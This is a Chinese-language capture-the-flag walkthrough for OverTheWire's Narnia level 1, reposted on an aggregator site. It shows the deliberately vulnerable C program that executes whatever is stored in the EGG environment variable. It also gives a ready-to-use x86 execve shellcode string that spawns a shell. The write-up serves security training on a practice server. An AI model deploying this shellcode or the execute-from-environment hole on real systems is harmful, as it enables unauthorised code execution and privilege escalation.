码迷,mamicode.com
首页 > 其他好文 > 详细

Wargame narnia level 1 (中文攻略)

时间:2014-05-25 18:54:06      阅读:575      评论:0      收藏:0      [点我收藏+]

标签:style   class   blog   c   code   java   

    拿着我们的第0关得到的密码XXXX进入第1关

ssh narnia1@narnia.labs.overthewire.org

cat narnia1.c

bubuko.com,布布扣
#include <stdio.h>

int main()
{
int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; }
bubuko.com,布布扣

这个程序意思也很明显,判断一下环境变量EGG是否为空,然后跳到EGG执行(即执行EGG里面的指令)

    所以……   在EGG里面放一个execv(),也就可以执行了。

可以用

export     变量名= $‘  shellcode‘               来改变环境变量 

 

Shellcode的话,可以自己写,也可以找现成的。

我用的是别人写好的。 

http://shell-storm.org/shellcode/files/shellcode-756.php    execv()

\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43

 

bubuko.com,布布扣

 

 

bubuko.com,布布扣

 

    OK,成功了。

Wargame narnia level 1 (中文攻略),布布扣,bubuko.com

Wargame narnia level 1 (中文攻略)

标签:style   class   blog   c   code   java   

原文地址:http://www.cnblogs.com/wu-yan/p/3750616.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!